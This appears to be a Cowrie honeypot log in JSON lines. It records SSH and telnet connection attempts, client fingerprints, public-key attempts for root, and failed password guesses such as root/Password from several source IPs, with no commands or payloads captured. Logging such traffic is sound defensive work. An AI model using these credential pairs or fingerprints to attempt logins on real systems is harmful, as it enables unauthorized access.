{"eventid":"cowrie.session.closed","duration":12.981001377105713,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:55.302944Z","src_ip":"152.42.224.71","session":"34d7f9cc07ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":51580,"dst_ip":"159.203.135.109","dst_port":22,"session":"b4e67842c14b","protocol":"ssh","message":"New connection: 31.40.204.166:51580 (159.203.135.109:22) [session: b4e67842c14b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:57.589563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:57.594420Z","src_ip":"31.40.204.166","session":"b4e67842c14b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:57.788918Z","src_ip":"31.40.204.166","session":"b4e67842c14b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:58.209886Z","src_ip":"31.40.204.166","session":"b4e67842c14b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58084,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2ed06b373eb","protocol":"telnet","message":"New connection: 152.42.224.71:58084 (10.17.0.5:23) [session: e2ed06b373eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:58.571022Z"}
{"eventid":"cowrie.session.closed","duration":38.552820920944214,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:59.321820Z","src_ip":"152.42.224.71","session":"3c5767d5998b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:58:59.383625Z","src_ip":"31.40.204.166","session":"b4e67842c14b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":60502,"dst_ip":"10.17.0.5","dst_port":22,"session":"40f2afb27fa0","protocol":"ssh","message":"New connection: 62.133.62.83:60502 (10.17.0.5:22) [session: 40f2afb27fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:00.274956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:00.280326Z","src_ip":"62.133.62.83","session":"40f2afb27fa0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:00.359430Z","src_ip":"62.133.62.83","session":"40f2afb27fa0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"michelle","message":"login attempt [root/michelle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:00.597957Z","src_ip":"62.133.62.83","session":"40f2afb27fa0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:01.680199Z","src_ip":"62.133.62.83","session":"40f2afb27fa0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58094,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bce4c870b9c","protocol":"telnet","message":"New connection: 152.42.224.71:58094 (10.17.0.5:23) [session: 0bce4c870b9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:01.752555Z"}
{"eventid":"cowrie.session.closed","duration":30.600008487701416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:01.987394Z","src_ip":"152.42.224.71","session":"64f8ba153948","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.156.64.228","src_port":59224,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0018a7ffb6f","protocol":"ssh","message":"New connection: 217.156.64.228:59224 (10.17.0.5:22) [session: e0018a7ffb6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:05.916565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:05.921720Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:06.059315Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:2e:85:2c:73:b3:12:e7:6f:e7:44:1c:cf:ae:69:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwGoedJPLRuLadUhjJaRepEn6M/+/oDOGJ3LTAVGkGSCgsTqRL/C9A/3cUm7M6BQkipHnfj8ecbUcbG9i0ph733mg79SRF/HK2nSY8lOGVTq3nJRkZD2UVUGnB1EuVfydYgqEg2onmA55XefF+HPhXuZAb96VUOcUuHBfpxTgIYcIyCJwdW5dW1L0fXlVfZ8PivYGkF+eEebXGJZ610181/jVmbU05y94vKV9UHEOqZ0f/VVi5kX1McXEp1fU0JS2sDcYoH6sJaFGMjvuU87wOJlCvCOHuJsIy0o1gLJzGocRg+UFD1WWSoGGmIq0YGrkpG4uQjq3pNlJ+ekbPLfiB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:2e:85:2c:73:b3:12:e7:6f:e7:44:1c:cf:ae:69:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:06.717105Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:2e:85:2c:73:b3:12:e7:6f:e7:44:1c:cf:ae:69:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwGoedJPLRuLadUhjJaRepEn6M/+/oDOGJ3LTAVGkGSCgsTqRL/C9A/3cUm7M6BQkipHnfj8ecbUcbG9i0ph733mg79SRF/HK2nSY8lOGVTq3nJRkZD2UVUGnB1EuVfydYgqEg2onmA55XefF+HPhXuZAb96VUOcUuHBfpxTgIYcIyCJwdW5dW1L0fXlVfZ8PivYGkF+eEebXGJZ610181/jVmbU05y94vKV9UHEOqZ0f/VVi5kX1McXEp1fU0JS2sDcYoH6sJaFGMjvuU87wOJlCvCOHuJsIy0o1gLJzGocRg+UFD1WWSoGGmIq0YGrkpG4uQjq3pNlJ+ekbPLfiB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:06.721079Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:70:7d:53:41:6c:44:ad:66:dd:c4:84:a6:7a:5a:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCseOB4pxx2RlI8TrJQUCbm/aDzn3jtEZ5YYfhqCPKReNYsjkM9Su0BhbpwtltsS6s3tih9w4M6410v00DyLx8bCQbB0rLaoiTN6+gIr3YdnkopJ1UvyzEQ3lP58cCZnPqbDS/psGwajS+ouIdQWaJgaYuGh/satfiztNCIJ0ThEg3zSfHQJnkC7+eWRPflI6Of5Xbi73FhSzvhqRK3o111FMRAs4dK9Pu0k09UFOdgbYVNQ+ct/7m7Mci3A5N9yjF338bBtyG4GXstP3yTPhk8rt3kUXvmb66FyTkeJDr/XMe3rIZooJz5kIE7ZPYjgSbbeCUlTUHkb26xh+QZx6YXrY84mtMhOoh6aTLx4vPNtsSlsgiyeYVqpRkA0BPeSOR283QGGaiIWTI7hBbTcNwRTwsquTVe3PbWhIEgYCJ+oeOJMidM953chIPYFPf35MF7hw5sh2m4gSLHtt8TBEe57VrzVmh99aY6LjrNQfQ9ZGVjxw9swWXohSdnikJjysrvdPMpVC9jKA4jRKNFl8L3qn0JpZw0MutFzVzK6rqPnadQQXKrlHnCEGPwR9Ea+68eBDt0xKuykoy9wCYAYssZoEp4I0y7dSU0tMRpEMkzmRxVkVNkoa+3cPJzU84ji/Cu6E0+IGntLYkoq8/kLBXp2CED37n/8NvPN50Z9Huh2w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:70:7d:53:41:6c:44:ad:66:dd:c4:84:a6:7a:5a:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:06.859196Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:70:7d:53:41:6c:44:ad:66:dd:c4:84:a6:7a:5a:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCseOB4pxx2RlI8TrJQUCbm/aDzn3jtEZ5YYfhqCPKReNYsjkM9Su0BhbpwtltsS6s3tih9w4M6410v00DyLx8bCQbB0rLaoiTN6+gIr3YdnkopJ1UvyzEQ3lP58cCZnPqbDS/psGwajS+ouIdQWaJgaYuGh/satfiztNCIJ0ThEg3zSfHQJnkC7+eWRPflI6Of5Xbi73FhSzvhqRK3o111FMRAs4dK9Pu0k09UFOdgbYVNQ+ct/7m7Mci3A5N9yjF338bBtyG4GXstP3yTPhk8rt3kUXvmb66FyTkeJDr/XMe3rIZooJz5kIE7ZPYjgSbbeCUlTUHkb26xh+QZx6YXrY84mtMhOoh6aTLx4vPNtsSlsgiyeYVqpRkA0BPeSOR283QGGaiIWTI7hBbTcNwRTwsquTVe3PbWhIEgYCJ+oeOJMidM953chIPYFPf35MF7hw5sh2m4gSLHtt8TBEe57VrzVmh99aY6LjrNQfQ9ZGVjxw9swWXohSdnikJjysrvdPMpVC9jKA4jRKNFl8L3qn0JpZw0MutFzVzK6rqPnadQQXKrlHnCEGPwR9Ea+68eBDt0xKuykoy9wCYAYssZoEp4I0y7dSU0tMRpEMkzmRxVkVNkoa+3cPJzU84ji/Cu6E0+IGntLYkoq8/kLBXp2CED37n/8NvPN50Z9Huh2w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:06.863465Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:52:96:18:0b:45:3a:e5:40:c0:54:94:1c:0a:e5:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1lhyyq7fACD+rbKJvsc3KvBJxlKxfeenQgShWEP2XsXRdLhn0S9qkB7sX80elILUgsjtp/ERCn8LRxJ5y31ebhqcZbh5l1pMaHc349poSgUIvcXBD4E2GBmtPHspveUK4Hsj3LDzfldp6tDeyTIGXj9VugwGHRONvCDVDYXuO1HVX3nHyRGkd05pBVRoCknodyLXPAN44A6dG2qbWOY+s9xrRoUr0bKuasClns3J5gfkplMckKHbJYUJw6+/hCmXrH1d37JdjWosVfJia1/1MNpqj3oh50q7VfuGSpReAAAjcm9ddGuqu3+CDIjNE1S7nnHlbHvNitpuyCF1jDbemQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:52:96:18:0b:45:3a:e5:40:c0:54:94:1c:0a:e5:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:07.003110Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:52:96:18:0b:45:3a:e5:40:c0:54:94:1c:0a:e5:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1lhyyq7fACD+rbKJvsc3KvBJxlKxfeenQgShWEP2XsXRdLhn0S9qkB7sX80elILUgsjtp/ERCn8LRxJ5y31ebhqcZbh5l1pMaHc349poSgUIvcXBD4E2GBmtPHspveUK4Hsj3LDzfldp6tDeyTIGXj9VugwGHRONvCDVDYXuO1HVX3nHyRGkd05pBVRoCknodyLXPAN44A6dG2qbWOY+s9xrRoUr0bKuasClns3J5gfkplMckKHbJYUJw6+/hCmXrH1d37JdjWosVfJia1/1MNpqj3oh50q7VfuGSpReAAAjcm9ddGuqu3+CDIjNE1S7nnHlbHvNitpuyCF1jDbemQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:07.010675Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"db:ea:90:fa:41:b5:29:f4:ec:87:23:d0:5c:a5:1c:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvD2DIKCRnviV+QLMKGOAImbCTohioqzwAD0mjyYODgrX0iZOTL37Dj9XwIkcRNTG8gGmS1OPAW55J480MHIpTNPEmrO2UskJBkonjFVB2wSbxWkjh+sTau2p0YhIie9Dad3lV40+3f1W23M/2yv7NPqc06ItCOt7mfcN0gJ8XEiG5Lgq8WxozH4he1V+vQiWmqDuSq/CIW6Fr1Y8SsY2Bgj6wLDT6AhyvcI7lLMV03tuHEOksG+XIyTQWnWs8iR9UY0L3tOYsP1Kn1VBsH981P7pvzzFqpXBJLMSlE8QeOwTfeTahGLGgyBopY5M5SB12a7gB3E1sWZC+V//XSq93Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint db:ea:90:fa:41:b5:29:f4:ec:87:23:d0:5c:a5:1c:ed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:07.154432Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"db:ea:90:fa:41:b5:29:f4:ec:87:23:d0:5c:a5:1c:ed","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvD2DIKCRnviV+QLMKGOAImbCTohioqzwAD0mjyYODgrX0iZOTL37Dj9XwIkcRNTG8gGmS1OPAW55J480MHIpTNPEmrO2UskJBkonjFVB2wSbxWkjh+sTau2p0YhIie9Dad3lV40+3f1W23M/2yv7NPqc06ItCOt7mfcN0gJ8XEiG5Lgq8WxozH4he1V+vQiWmqDuSq/CIW6Fr1Y8SsY2Bgj6wLDT6AhyvcI7lLMV03tuHEOksG+XIyTQWnWs8iR9UY0L3tOYsP1Kn1VBsH981P7pvzzFqpXBJLMSlE8QeOwTfeTahGLGgyBopY5M5SB12a7gB3E1sWZC+V//XSq93Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:07.158556Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:33:fc:8c:b3:50:c8:ab:9c:d7:ea:36:7a:7f:ce:c6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICgIQzlc7/PXTpz4iwfKWcMBsAFF87txlMVubV0+Lb1J","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 7e:33:fc:8c:b3:50:c8:ab:9c:d7:ea:36:7a:7f:ce:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:07.294384Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:33:fc:8c:b3:50:c8:ab:9c:d7:ea:36:7a:7f:ce:c6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICgIQzlc7/PXTpz4iwfKWcMBsAFF87txlMVubV0+Lb1J","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:07.298145Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:07.449313Z","src_ip":"217.156.64.228","session":"e0018a7ffb6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":44078,"dst_ip":"159.203.135.109","dst_port":22,"session":"34a3bb3dfd54","protocol":"ssh","message":"New connection: 31.40.204.166:44078 (159.203.135.109:22) [session: 34a3bb3dfd54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:08.189068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:08.305014Z","src_ip":"31.40.204.166","session":"34a3bb3dfd54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:08.493105Z","src_ip":"31.40.204.166","session":"34a3bb3dfd54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:08.985397Z","src_ip":"31.40.204.166","session":"34a3bb3dfd54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.002352237701416,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:09.721549Z","src_ip":"152.42.224.71","session":"e9006494be14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:10.115770Z","src_ip":"31.40.204.166","session":"34a3bb3dfd54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.89384198188782,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:11.507651Z","src_ip":"152.42.224.71","session":"d7a5662cd1d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52356,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbb1b7675539","protocol":"telnet","message":"New connection: 152.42.224.71:52356 (10.17.0.5:23) [session: cbb1b7675539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:11.760648Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52364,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bbf30b4d5c2","protocol":"telnet","message":"New connection: 152.42.224.71:52364 (10.17.0.5:23) [session: 5bbf30b4d5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:59:12.091319Z"}
